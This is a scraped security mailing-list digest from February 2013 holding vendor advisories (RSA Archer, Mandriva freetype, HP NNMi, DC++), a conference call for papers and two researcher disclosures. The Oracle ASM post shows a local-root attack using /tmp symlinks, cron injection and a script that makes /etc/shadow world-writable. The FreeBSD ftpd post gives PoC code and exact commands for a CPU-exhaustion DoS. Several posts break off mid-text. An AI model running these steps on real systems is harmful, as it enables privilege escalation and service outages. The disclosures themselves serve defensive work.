ESA-2013-002: RSA Archer® GRC Multiple Vulnerabilities

2013-02-04 Thread Security Alert

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

ESA-2013-002: RSA Archer® GRC Multiple Vulnerabilities


EMC Identifier: ESA-2013-002


CVE Identifier: CVE-2012-2293, CVE-2012-2292, CVE-2012-1064, CVE-2012-2294


Severity Rating:  See below for scores for individual issues

 

Affected Products:
 

RSA Archer SmartSuite Framework version 4.x

RSA Archer GRC version 5.x

 

Summary:  

RSA Archer GRC 5.3 and 5.2SP1 platform contains fixes for multiple security 
vulnerabilities that could potentially be exploited by malicious users to 
compromise the affected system.

 

Details:  

The vulnerabilities addressed in RSA Archer GRC 5.3 and RSA Archer GRC 5.2SP1 
are:

1. Path traversal vulnerability (CVE-2012-2293)
This vulnerability may allow malicious users to upload arbitrary files to a 
vulnerable RSA Archer system using the relative paths.
CVSSv2 Base Score: 9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C) 
2. Improper permissions in Silverlight cross-domain policy (CVE-2012-2292)
This vulnerability allows access to the RSA Archer application from any domain. 
This insecure permission may lead to cross-domain attacks.
CVSSv2 Base Score: 8.3 (AV:N/AC:M/Au:N/C:C/I:P/A:P) 
3. Multiple cross-site scripting vulnerabilities (CVE-2012-1064)
These vulnerabilities can be exploited to execute arbitrary HTML and script 
code in an RSA Archer users browser session in context of an affected RSA 
Archer application.
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 
4.Clickjacking vulnerability (CVE-2012-2294)
A malicious user may exploit this vulnerability by constructing a specially 
crafted Web page disguised as legitimate content to conduct clickjacking 
attacks. The users clicks in the malicious page may perform unwanted actions.
CVSSv2 Base Score:6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P) 


Resolution:

RSA strongly recommends all customers upgrade to RSA Archer GRC v5.3 or install 
5.2SP1 at their earliest opportunity.   

•5.3 installers are available through RSA SecureCare Online (SCOL) 
https://knowledge.rsasecurity.com
•5.2SP1 installers are available from RSA Archer Customer Support.
•For additional information on fixes and steps to reduce risks, log on to 
https://knowledge.rsasecurity.com and select: Home » Products » RSA Archer eGRC 
Solutions » RSA Archer 5.3 ESA FAQ.


Credits: 

RSA would like to thank Nello Coppeto at eMaze Network SpA 
(http://blog.emaze.net) for reporting issues under CVE-2012-1064. 


Severity Rating:

For an explanation of Severity Ratings, refer to the Knowledge Base Article, 
“Security Advisories Severity Rating” at 
https://knowledge.rsasecurity.com/scolcms/knowledge.aspx?solution=a46604. RSA 
recommends all customers take into account both the base score and any relevant 
temporal and environmental scores which may impact the potential severity 
associated with particular security vulnerability.


Obtaining Documentation:

To obtain RSA documentation, log on to RSA SecurCare Online at 
https://knowledge.rsasecurity.com and click Products in the top navigation 
menu. Select the specific product whose documentation you want to obtain. 
Scroll to the section for the product version that you want and click the set 
link.



Obtaining More Information:

For more information about RSA SecurID, visit the RSA web site at 
http://www.rsa.com/node.aspx?id=1156.



Getting Support and Service:

For customers with current maintenance contracts, contact your local RSA 
Customer Support center with any additional questions regarding this RSA 
SecurCare Note. For contact telephone numbers or e-mail addresses, log on to 
RSA SecurCare Online at https://knowledge.rsasecurity.com, click Help  
Contact, and then click the Contact Us - Phone tab or the Contact Us - Email 
tab.


General Customer Support Information:

http://www.rsa.com/node.aspx?id=1264


RSA SecurCare Online:

https://knowledge.rsasecurity.com


EOPS Policy:

RSA has a defined End of Primary Support policy associated with all major 
versions. Please refer to the link below for additional details. 
http://www.rsa.com/node.aspx?id=2575


SecurCare Online Security Advisories

RSA, The Security Division of EMC, distributes SCOL Security Advisories in 
order to bring to the attention of users of the affected RSA products important 
security information. RSA recommends that all users determine the applicability 
of this information to their individual situations and take appropriate action. 
The information set forth herein is provided as is without warranty of any 
kind. RSA disclaim all warranties, either express or implied, including the 
warranties of merchantability, fitness for a particular purpose, title and 
non-infringement. In no event shall RSA or its suppliers be liable for any 
damages whatsoever including direct, indirect, incidental, consequential, loss 
of business profits or special damages, even if RSA or its suppliers have been 
advised of the possibility of such damages. Some states do not allow the 
exclusion or limitation of 

[HITB-Announce] #HITB2013AMS FINAL CALL for Paper Submissions

2013-02-04 Thread Hafez Kamal

Hi everyone - This is the FINAL CALL for paper submissions for the 4th
annual HITB Security Conference in Amsterdam, #HITB2013AMS. We're
looking for talks that are highly technical, but most importantly,
material which is new and cutting edge.

Submissions are due BEFORE 8th Feb 23:59 CET

HITB CFP: http://cfp.hackinthebox.org/

---

#HITB2013AMS takes place at the Okura Hotel in Amsterdam from the 8th
till the 11th of April. We kick off as always with two-days of hands
on technical trainings (8th and 9th).

We then continue with a triple track conference with keynotes by Eddie
Schwartz, Chief Information Security Officer at RSA and Bob Lord,
Chief Security Officer at Twitter. The closing keynote will be
presented by Winn Schwartau.

Event Website: http://conference.hitb.org/

===

Each accepted submission will entitle the speaker(s) to
accommodation for 3 nights / 4 days and travel expense reimbursement
up to EUR1200.00 per speaking slot.

Topics of interest include, but are not limited to the following:

  Cloud Security
  File System Security
  3G/4G/WIMAX Security
  SS7/GSM/VoIP Security
  Security of Medical Devices
  Critical Infrastructure Security
  Smartphone / MobileSecurity
  Smart Card and Physical Security
  Network Protocols, Analysis and Attacks
  Applications of Cryptographic Techniques
  Side Channel Analysis of Hardware Devices
  Analysis of Malicious Code / Viruses / Malware
  Data Recovery, Forensics and Incident Response
  Hardware based attacks and reverse engineering
  Windows / Linux / OS X / *NIX Security Vulnerabilities
  Next Generation Exploit and Exploit Mitigation Techniques
  NFC, WLAN, GPS, HAM Radio, Satellite, RFID and Bluetooth Security

Your submission will be reviewed by The HITB CFP Review Committee:

Charlie Miller (formerly Principal Research Consultant, Accuvant Labs)
Katie Moussouris, Senior Security Strategist, Microsoft
Itzik Kotler, Chief Technology Officer, Security Art
Cesar Cerrudo, Chief Technology Officer, IOActive
Jeremiah Grossman, Founder, Whitehat Security
Andrew Cushman, Senior Director, Microsoft
Saumil Shah, Founder CEO Net-Square
Thanh 'RD' Nguyen, THC, VNSECURITY
Alexander Kornburst, Red Database
Fredric Raynal, QuarksLab
Shreeraj Shah, Founder, BlueInfy
Emmanuel Gadaix, Founder, TSTF
Andrea Barisani, Inverse Path
Philippe Langlois, TSTF
Ed Skoudis, InGuardians
Haroon Meer, Thinkst
Chris Evans, Google
Raoul Chiesa, TSTF/ISECOM
rsnake, SecTheory
Gal Diskin, Intel
Skyper, THC

Note: We do not accept product or vendor related pitches. If you would
like to showcase your company's products or technology, please email
conferencei...@hackinthebox.org

See you in Amsterdam!

---
Hafez Kamal,
HITB Conference Core Crew (.MY),
Hack in The Box (M) Sdn. Bhd.
36th Floor, Menara Maxis,
Kuala Lumpur City Centre,
50088 Kuala Lumpur,
Malaysia

Tel: +603-26157299
Fax: +603-26150088
PGP Key ID: 0xC0DC7DF8



Oracle Automated Service Manager 1.3 Auto Service Request 4.3 local root during install

2013-02-04 Thread larry0
Oracle Automated Service Manager 1.3 local root during install

Larry W. Cashdollar
1/29/2013
@_larry0


SUNWsasm-1.3.1-20110815093723

https://updates.oracle.com/Orion/Services/download?type=readmearu=15864534

From the README:
Oracle Automated Service Manager 1.3.1

Oracle Automated Service Manager is the service management container for Auto 
Service Request and Secure File Transport. It provides platform services (such 
as logging, data transport and persistence) to business services that are 
deployed to it.

Possible issues with files in /tmp.

root@dev-unix-sec01:~/test# strings SUNWswasr-4.3.1-20130117131218.rpm |grep tmp

##Read the contents of crontab into a tmp file /usr/bin/crontab -l  
/tmp/crontab_edit echo 0  /tmp/tmpVariable
grep /opt/SUNWswasr/bin/update_rules.sh /tmp/crontab_edit |

echo 1  /tmp/tmpVariable
grep 0 /tmp/tmpVariable  /dev/null

echo  /tmp/crontab_edit
echo ##Cronjob entry for ASR Auto Rules Update  /tmp/crontab_edit
echo $min $hour * * * /opt/SUNWswasr/bin/update_rules.sh  
/tmp/crontab_edit

ASR_STAT_REP=`/bin/grep -c 'bin/asr report' /tmp/crontab_edit`

sed /asr report/d /tmp/crontab_edit  /tmp/asrtab1.??? mv /tmp/asrtab1.??? 
/tmp/crontab_edit sed /ASR Status Report/d /tmp/crontab_edit  
/tmp/asrtab1.??? mv /tmp/asrtab1.??? /tmp/crontab_edit ASR_HEARTBEAT=`/bin/grep 
-c 'bin/asr heartbeat' /tmp/crontab_edit`

sed /asr heartbeat/d /tmp/crontab_edit  /tmp/asrtab1.??? mv /tmp/asrtab1.??? 
/tmp/crontab_edit sed /ASR Heartbeat/d /tmp/crontab_edit  /tmp/asrtab1.??? 
mv /tmp/asrtab1.??? /tmp/crontab_edit /usr/bin/crontab /tmp/crontab_edit
## Finally remove the tmp file
rm -f /tmp/tmpVariable
rm -f /tmp/crontab_edit

tempFile=/tmp/localsnmp_`date '+%m%d%y%H%M%SOURCE'` /usr/bin/crontab -l  
/tmp/asrtab.??
UPDATE_RULES=`/bin/grep -c 'bin/update_rules.sh' /tmp/asrtab.??`

sed /update_rules.sh/d /tmp/asrtab.??  /tmp/asrtab.??? mv /tmp/asrtab.??? 
/tmp/asrtab.??
sed /ASR Auto Rules/d /tmp/asrtab.??  /tmp/asrtab.??? mv /tmp/asrtab.??? 
/tmp/asrtab.??
ASR_STAT_HB=`/bin/grep -c 'bin/asr' /tmp/asrtab.??`

sed /asr report/d /tmp/asrtab.??  /tmp/asrtab.??? mv /tmp/asrtab.??? 
/tmp/asrtab.??
sed /ASR Status Report/d /tmp/asrtab.??  /tmp/asrtab.??? mv /tmp/asrtab.??? 
/tmp/asrtab.??
sed /asr heartbeat/d /tmp/asrtab.??  /tmp/asrtab.??? mv /tmp/asrtab.??? 
/tmp/asrtab.??
sed /ASR Heartbeat/d /tmp/asrtab.??  /tmp/asrtab.??? mv /tmp/asrtab.??? 
/tmp/asrtab.??
/usr/bin/crontab /tmp/asrtab.??
rm /tmp/asrtab.??
]!tmpD
root@dev-unix-sec01:~/test#
First try, File overwriting vulnerability

$ ln -s /etc/shadow /tmp/mytab-tmp.??
$ ln -s /etc/shadow /tmp/mytab.??

[root@oracle-lnx-lab02 ~]# rpm -Uvh SUNWsasm-1.3.1-20110815093723.rpm
Preparing...
### [100%]

Copyright 2008,2011 Oracle and/or its affiliates. All rights reserved.

License and Terms of Use for this software are described at 
https://support.oracle.com/ (see Terms o f Use)

1:SUNWsasm ### [100%]

Authentication service cannot retrieve authentication info You (root) are not 
allowed to access to (/usr/bin/crontab) because of pam configuration.

Authentication service cannot retrieve authentication info You (root) are not 
allowed to access to (/usr/bin/crontab) because of pam configuration. 

[root@oracle-lnx-lab02 ~]# cat /etc/shadow
0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance  /dev/null 21

Ok, lets try to inject a cronjob and get root:

Malicious user does:

[meanie@oracle-lnx-lab02 ~]$ while (true) ;do echo * * * * * /tmp/rootme  
/tmp/mytab.??; done

[root@oracle-lnx-lab02 ~]# rpm -Uvh SUNWsasm-1.3.1-20110815093723.rpm
Preparing...
### [100%]

Copyright 2008,2011 Oracle and/or its affiliates. All rights reserved.

License and Terms of Use for this software are described at 
https://support.oracle.com/ (see Terms o f Use)

1:SUNWsasm ## [100%]
[root@oracle-lnx-lab02 ~] crontab -l
* * * * * /tmp/rootme
0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance  /dev/null 21

/tmp/rootme is:

#!/bin/sh

chmod 666 /etc/shadow

after a minute:

[root@oracle-lnx-lab02 ~] ls -l /etc/shadow

-rw-rw-rw- 1 root root 744 Jan 30 21:02 /etc/shadow

[root@oracle-lnx-lab02 ~]

Faulty Code:

319 /usr/bin/crontab -l  /tmp/mytab.??

320 if [ $(/bin/grep -c 'sasm' /tmp/mytab.??) -eq 0 ];then

321  echo 0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance 
 /dev/null 21  /tmp/mytab.??

322 /usr/bin/crontab /tmp/mytab.??

323 fi

324 

325 rm /tmp/mytab.??


SUNWswasr RPM post install /tmp race condition


From the documentation:

Auto Service Request (ASR) is a secure, scalable, customer-installable 
software feature of warranty and Oracle Support Services that provides 
auto-case generation when common hardware component faults occur. ASR is 
designed to enable faster problem resolution by eliminating the need to 

FreeBSD 9.1 ftpd Remote Denial of Service

2013-02-04 Thread max
FreeBSD 9.1 ftpd Remote Denial of Service
Maksymilian Arciemowicz
http://cxsecurity.org/
http://cxsec.org/

Public Date: 01.02.2013
URL: http://cxsecurity.com/issue/WLB-2013020003

Affected servers:
- ftp.uk.freebsd.org,
- ftp.ua.freebsd.org,
- ftp5.freebsd.org,
- ftp5.us.freebsd.org,
- ftp10.freebsd.org,
- ftp3.uk.freebsd.org,
- ftp7.ua.freebsd.org,
- ftp2.se.freebsd.org,
- ftp2.za.FreeBSD.org,
- ftp2.ru.freebsd.org,
- ftp2.pl.freebsd.org
and more...


--- 1. Description ---
I have decided check BSD ftpd servers once again for wildcards. Old bug in libc 
(CVE-2011-0418) allow to Denial of Service ftpd in last FreeBSD version. 
Attacker, what may connect anonymously to FTP server, may cause CPU resource 
exhaustion. Login as a 'USER anonymous' 'PASS anonymous', sending 'STAT' 
command with special wildchar, enought to create ftpd process with 100% CPU 
usage.

Proof of Concept (POC):
See the difference between NetBSD/libc and FreeBSD/libc.
--- PoC ---
#include stdio.h
#include glob.h

int main(){
glob_t globbuf;
char 
stringa[]={a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b};
glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, 
NULL, globbuf);
}
--- PoC ---

--- Exploit ---
user anonymous
pass anonymous
stat 
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
--- /Exploit ---

Result of attack:
ftp 13034   0.0  0.4  10416   1944  ??  R10:48PM0:00.96 ftpd: 
cxsec.org anonymous/anonymous (ftpd)
ftp 13035   0.0  0.4  10416   1944  ??  R10:48PM0:00.89 ftpd: 
cxsec.org anonymous/anonymous (ftpd)
ftp 13036   0.0  0.4  10416   1944  ??  R10:48PM0:00.73 ftpd: 
cxsec.org anonymous/anonymous (ftpd)
ftp 13046   0.0  0.4  10416   1952  ??  R10:48PM0:00.41 ftpd: 
cxsec.org anonymous/anonymous (ftpd)
ftp 13047   0.0  0.4  10416   1960  ??  R10:48PM0:00.42 ftpd: 
cxsec.org anonymous/anonymous (ftpd)
..
root13219   0.0  0.3  10032   1424  ??  R10:52PM0:00.00 
/usr/libexec/ftpd -dDA
root13225   0.0  0.3  10032   1428  ??  R10:52PM0:00.00 
/usr/libexec/ftpd -dDA
root13409   0.0  0.3  10032   1404  ??  R10:53PM0:00.00 
/usr/libexec/ftpd -dDA
root13410   0.0  0.3  10032   1404  ??  R10:53PM0:00.00 
/usr/libexec/ftpd -dDA
..

=Sending:
STAT 
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}

=Result:
@ps:
ftp  1336 100.0  0.5  10416   2360  ??  R11:15PM 600:39.95 ftpd: 
127.0.0.1: anonymous/anonym...@cxsecurity.com: \r\n (ftpd)$
@top:
1336 root1 1030 10416K  2360K RUN600:53 100.00% ftpd

one request over 600m (~10h) execution time and 100% CPU usage. This issue 
allow to create N ftpd processes with 100% CPU usage.

Just create loop while(1) and send these commands
---
user anonymous
pass anonymous
stat 
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
---

NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011)
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24r2=1.23.10.2

The funniest is that freebsd use GLOB_LIMIT in ftpd server.
http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c
---
if (strpbrk(whichf, ~{[*?) != NULL) {
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;

memset(gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
freeglob = 1;
if (glob(whichf, flags, 0, gl)) {
---

but GLOB_LIMIT in FreeBSD dosen't work. glob(3) function allow to CPU resource 
exhaustion. ;]

Libc was also vulnerable in Apple and Oracle products. 
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
http://support.apple.com/kb/HT4723

only FreeBSD and GNU glibc are affected


--- 2. Exploit ---
http://cxsecurity.com/issue/WLB-2013010233


--- 3. Fix ---
Don't use ftpd on FreeBSD systems. :) You may use vsftpd to resolve problem 
with security ;)


--- 4. References ---
Multiple Vendors libc/glob(3) remote ftpd resource exhaustion
http://cxsecurity.com/issue/WLB-2010100135
http://cxsecurity.com/cveshow/CVE-2010-2632

Multiple FTPD Server 

[ MDVSA-2013:006 ] freetype2

2013-02-04 Thread security
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2013:006
 http://www.mandriva.com/security/
 ___

 Package : freetype2
 Date: February 1, 2013
 Affected: 2011., Enterprise Server 5.0
 ___

 Problem Description:

 Multiple vulnerabilities has been found and corrected in freetype2:
 
 A Null pointer de-reference flaw was found in the way Freetype font
 rendering engine handled Glyph bitmap distribution format (BDF)
 fonts. A remote attacker could provide a specially-crafted BDF font
 file, which once processed in an application linked against FreeType
 would lead to that application crash (CVE-2012-5668).
 
 An out-of heap-based buffer read flaw was found in the way FreeType
 font rendering engine performed parsing of glyph information and
 relevant bitmaps for glyph bitmap distribution format (BDF). A remote
 attacker could provide a specially-crafted BDF font file, which once
 opened in an application linked against FreeType would lead to that
 application crash (CVE-2012-5669).
 
 The updated packages have been patched to correct these issues.
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5668
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5669
 ___

 Updated Packages:

 Mandriva Linux 2011:
 2f3fec203494eb640bb48614b8cdbb27  
2011/i586/freetype2-demos-2.4.5-2.4-mdv2011.0.i586.rpm
 89091b1ba606e039e60303d358947fdc  
2011/i586/libfreetype6-2.4.5-2.4-mdv2011.0.i586.rpm
 6c2eae3f6588bc307b4ebb646c1a4c25  
2011/i586/libfreetype6-devel-2.4.5-2.4-mdv2011.0.i586.rpm
 bcbd756fd42addea3fd2a38a11567f7a  
2011/i586/libfreetype6-static-devel-2.4.5-2.4-mdv2011.0.i586.rpm 
 6c70cd4370fa8ed01c0285c46bba3597  2011/SRPMS/freetype2-2.4.5-2.4.src.rpm

 Mandriva Linux 2011/X86_64:
 abe907ac020e7a6a84d1e0eb86858aa1  
2011/x86_64/freetype2-demos-2.4.5-2.4-mdv2011.0.x86_64.rpm
 07c54a3f0face61f8cbb5983759ca9cb  
2011/x86_64/lib64freetype6-2.4.5-2.4-mdv2011.0.x86_64.rpm
 73ab4f6bf793c93a387eb7434c834900  
2011/x86_64/lib64freetype6-devel-2.4.5-2.4-mdv2011.0.x86_64.rpm
 41c33cc62c33163285ea2c0b1ce44532  
2011/x86_64/lib64freetype6-static-devel-2.4.5-2.4-mdv2011.0.x86_64.rpm 
 6c70cd4370fa8ed01c0285c46bba3597  2011/SRPMS/freetype2-2.4.5-2.4.src.rpm

 Mandriva Enterprise Server 5:
 505e61f7fc629cc51bce2777983da6ef  
mes5/i586/freetype2-demos-2.3.7-1.11mdvmes5.2.i586.rpm
 d6472b584d439b2149fa136995e0bd3e  
mes5/i586/libfreetype6-2.3.7-1.11mdvmes5.2.i586.rpm
 2cbc0e8ba2697ad6534c8a97b6776448  
mes5/i586/libfreetype6-devel-2.3.7-1.11mdvmes5.2.i586.rpm
 a678543b7e22d42a8c5f753c59e30087  
mes5/i586/libfreetype6-static-devel-2.3.7-1.11mdvmes5.2.i586.rpm 
 9af34144efab6305f17b8a2e296d91ce  
mes5/SRPMS/freetype2-2.3.7-1.11mdvmes5.2.src.rpm

 Mandriva Enterprise Server 5/X86_64:
 34ff382889cc95c97f1c68e6c234fd4c  
mes5/x86_64/freetype2-demos-2.3.7-1.11mdvmes5.2.x86_64.rpm
 8d736d3cde5ca7348f6a4fff11016eda  
mes5/x86_64/lib64freetype6-2.3.7-1.11mdvmes5.2.x86_64.rpm
 abeb5fc6c8a8a36c50147500c412a6fd  
mes5/x86_64/lib64freetype6-devel-2.3.7-1.11mdvmes5.2.x86_64.rpm
 4da0078d481d44a06445586dcc9e0e90  
mes5/x86_64/lib64freetype6-static-devel-2.3.7-1.11mdvmes5.2.x86_64.rpm 
 9af34144efab6305f17b8a2e296d91ce  
mes5/SRPMS/freetype2-2.3.7-1.11mdvmes5.2.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  security*mandriva.com
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[security bulletin] HPSBMU02842 SSRT100909 rev.1 - HP Network Node Manager i (NNMi) for HP-UX, Linux, Solaris, and Windows, Remote Cross Site Scripting (XSS)

2013-02-04 Thread security-alert
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

UPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c03652323
Version: 1

HPSBMU02842 SSRT100909 rev.1 - HP Network Node Manager i (NNMi) for HP-UX,
Linux, Solaris, and Windows, Remote Cross Site Scripting (XSS)

NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.

Release Date: 2013-01-31
Last Updated: 2013-01-31

Potential Security Impact: Remote cross site scripting (XSS)

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY
Potential security vulnerabilities have been identified with HP Network Node
Manager i (NNMi) for HP-UX, Linux, Solaris, and Windows. The vulnerabilities
could be remotely exploited resulting in cross site scripting (XSS).

References: CVE-2012-3279

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP Network Node Manager I (NNMi) v8.x, v9.0x, v9.1x, v9.20 for HP-UX, Linux,
Solaris, and Windows

BACKGROUND

CVSS 2.0 Base Metrics
===
  Reference  Base Vector Base Score
CVE-2012-3279(AV:N/AC:M/Au:N/C:N/I:P/A:N)   4.3
===
 Information on CVSS is documented
in HP Customer Notice: HPSN-2008-002

RESOLUTION

HP has made hotfixes available to resolve these vulnerabilities for NNMi
v9.0x, v9.1x, and v9.20. The hotfixes can be obtained by contacting the
normal HP Services support channel. Customers should open a support case to
request the following hotfixes. Customers using NNMi v8.x should upgrade to
v9.0x, v9.1x, or 9.20 and apply the required patch and the hotfix.

For NNMi v9.0x and v9.1x

NNMi Version / Required Patch / Hotfix

9.0x / Patch 5 / Hotfix-NNMi-9.0xP5-UI-Security-20130125

9.1x / Patch 3 or 4 / Patches:
HP-UX. PHSS_43078, Linux. NNM910L_5, Solaris . NNM910S_5, Windows
NNM910W_5

9.20 / no patch required / Hotfix-NNMi-9.20-NmsAsShared-20130125

Note: The hotfix must be installed after the required patch. The hotfix must
be reinstalled if the required patch is reinstalled.

For NNMi v8.x

Upgrade to v9.0x, v9.1x, or v9.20 and apply the required patch and the hotfix
listed in the table above.

MANUAL ACTIONS: Yes - Update

Install the applicable patch and hotfix.

PRODUCT SPECIFIC INFORMATION

HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application
that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins
issued by HP and lists recommended actions that may apply to a specific HP-UX
system. It can also download patches and create a depot automatically. For
more information see: https://www.hp.com/go/swa

The following text is for use by the HP-UX Software Assistant.

AFFECTED VERSIONS

For HP-UX NNMi v9.1x

HP-UX B.11.31
=
HPOvNNM.HPOVNMSCAUSESV
HPOvNNM.HPOVNMSDISCOSV
HPOvNNM.HPOVICMP
HPOvNNM.HPOVNMSCONFIG
HPOvNNM.HPOVNNMCISCO
HPOvNNM.HPOVNNMOM
HPOvNNM.HPNMSCLUSTER
HPOvNNM.HPOVNMSEMBDDB
HPOvNNM.HPNMSDEVEXTN
HPOvNNM.HPOVNNMBSM
HPOvNNM.HPNNMTRAPSV
HPOvNNM.HPOVNMSHA
HPOvNnmSiteScope.HPOVNNMSITESCOPE
HPOvNNM.HPOVNMSEVTPSV
HPOvNNM.HPOVSTPLR
HPOvNNM.HPOVNMSCUSTCORR
HPOvNNM.HPOVNMSISPINET
HPOvNNM.HPNMSCOMPS
HPOvNNM.HPOVNNMINSTALL
HPOvNNM.HPOVNMSSNMPCO
HPOvNNM.HPNMSJBOSS
HPOvNNM.HPOVNMSSPMD
HPOvNNM.HPOVNNMNC
HPOvNNM.HPOVNNMNA
HPOvNNM.HPOVNMSLIC
HPOvNNM.HPOVNNMSIM
HPOvNNM.HPOVNNMNB
HPOvNNM.HPOVNNMUCMDB
HPOvNNM.HPOVNMSSPICOM
HPOvNNM.HPOVSNMP
HPOvNNM.HPOVNNMBAC
HPOvNnmRams.HPOVNNMRAMS
HPOvNNM.HPOVNMSCOMMON
HPOvNNM.HPOVNNMGEN
HPOvNNM.HPOVNNMUI
HPOvNNM.HPOVNMSRBA
HPOvNNM.HPOVPERFSPIADA
HPOvNNM.HPNMSCUSTPOLL
action: install PHSS_43078 or subsequent

END AFFECTED VERSIONS

HISTORY
Version:1 (rev.1) - 31 January 2013 Initial release

Third Party Security Patches: Third party security patches that are to be
installed on systems running HP software products should be applied in
accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HP Services support channel.  For other issues about
the content of this Security Bulletin, send e-mail to security-al...@hp.com.

Report: To report a potential security vulnerability with any HP supported
product, send Email to: security-al...@hp.com

Subscribe: To initiate a subscription to receive future HP Security Bulletin
alerts via Email:
http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins

Security Bulletin List: A list of HP Security Bulletins, updated
periodically, is contained in HP Security Notice HPSN-2011-001:
https://h20566.www2.hp.com/portal/site/hpsc/public/kb/
docDisplay?docId=emr_na-c02964430

Security Bulletin Archive: A list of recently released Security Bulletins is
available here:
http://h20566.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/

Software Product Category: The Software Product Category is represented in
the title by the two characters 

DC++ 0.802 and below incorrectly registers URI schemes in Windows

2013-02-04 Thread ullner
DC++ 0.802 and below incorrectly registers URI schemes in Windows

Background
DC++ [1] is a chat and file sharing application for the Direct Connect [2] 
network.

DC++ registers three URI schemes in Microsoft Windows; dchub, adc and magnet. 
Microsoft outlines the approach in 'Registering an Application to a URI scheme' 
[3].

Security issue description
DC++ 0.802 and below registers the application in the registry key 
HKEY_CURRENT_USER/Software/Classes/adc/Shell/Open/Command (for adc, likewise 
for dchub and magnet). DC++ registers the application with the following 
command;
C:\Program Files (x86)\DC++\DCPlusPlus.exe %1
(where the path mentioned is where DC++ is installed)

Microsoft notes in the 'launching the handler' section that an application 
should register itself with quotation marks around the parameter that is passed 
to the application. DC++ 0.802 and below do not do this, as shown above. 
Microsoft specifies that the proper registration should look like;
C:\Program Files (x86)\DC++\DCPlusPlus.exe %1

Microsoft notes in the same article potential attack vectors and potential 
formatting problems.

Fix description
A fix was deployed to the DC++ source control on 4th of January, 2013 [4], with 
the suggested changes from Microsoft. This fix is in DC++ 0.810.

Exploits
No known attacks or exploits are reported at this time.

Affected versions: 0.802 and below. Additionally, any modification of the 
application may be affected.

Found and fixed by: Fredrik Ullner ullner at gmail.com

References
[1] http://dcplusplus.sourceforge.net/
[2] http://en.wikipedia.org/wiki/Direct_Connect_(file_sharing)
[3] http://msdn.microsoft.com/en-us/library/aa767914.aspx
[4] http://bazaar.launchpad.net/~dcplusplus-team/dcplusplus/trunk/revision/3166
[5] 
http://sourceforge.net/projects/dcplusplus/files/DC%2B%2B%200.810/DCPlusPlus-0.810.exe/download?utm_expid=65835818-0utm_referrer=http%3A%2F%2Fdcplusplus.sourceforge.net%2Fdownload.html


